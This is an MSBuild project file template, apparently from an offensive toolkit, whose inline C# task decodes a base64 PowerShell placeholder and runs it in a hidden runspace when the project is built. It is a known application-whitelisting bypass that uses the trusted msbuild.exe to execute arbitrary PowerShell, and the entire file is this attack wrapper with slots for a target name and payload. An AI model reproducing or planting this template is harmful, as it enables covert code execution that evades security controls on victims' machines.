54 lines
1.6 KiB
XML
54 lines
1.6 KiB
XML
<Project ToolsVersion="4.0"
|
|
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
<Target Name="[TARGETNAME]">
|
|
<ClassExample />
|
|
</Target>
|
|
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
|
<Task>
|
|
<Reference Include="System.Management.Automation" />
|
|
<Using Namespace="System" />
|
|
<Using Namespace="System.IO" />
|
|
<Using Namespace="System.Reflection" />
|
|
<Using Namespace="System.Collections.Generic" />
|
|
<Code Type="Class" Language="cs">
|
|
<![CDATA[
|
|
using System;
|
|
using System.IO;
|
|
using System.Diagnostics;
|
|
using System.Reflection;
|
|
using System.Runtime.InteropServices;
|
|
using System.Collections.ObjectModel;
|
|
using System.Management.Automation;
|
|
using System.Management.Automation.Runspaces;
|
|
using System.Text;
|
|
using Microsoft.Build.Framework;
|
|
using Microsoft.Build.Utilities;
|
|
|
|
public class ClassExample : Task, ITask
|
|
{
|
|
public override bool Execute()
|
|
{
|
|
Program.Main();
|
|
return true;
|
|
}
|
|
}
|
|
|
|
public class Program
|
|
{
|
|
public static void Main()
|
|
{
|
|
byte[] data = Convert.FromBase64String("[POWERSHELL]");
|
|
string script = Encoding.Unicode.GetString(data);
|
|
|
|
Runspace runspace = RunspaceFactory.CreateRunspace();
|
|
runspace.Open();
|
|
Pipeline pipeline = runspace.CreatePipeline();
|
|
pipeline.Commands.AddScript(script);
|
|
pipeline.InvokeAsync();
|
|
}
|
|
}
|
|
]]>
|
|
</Code>
|
|
</Task>
|
|
</UsingTask>
|
|
</Project> |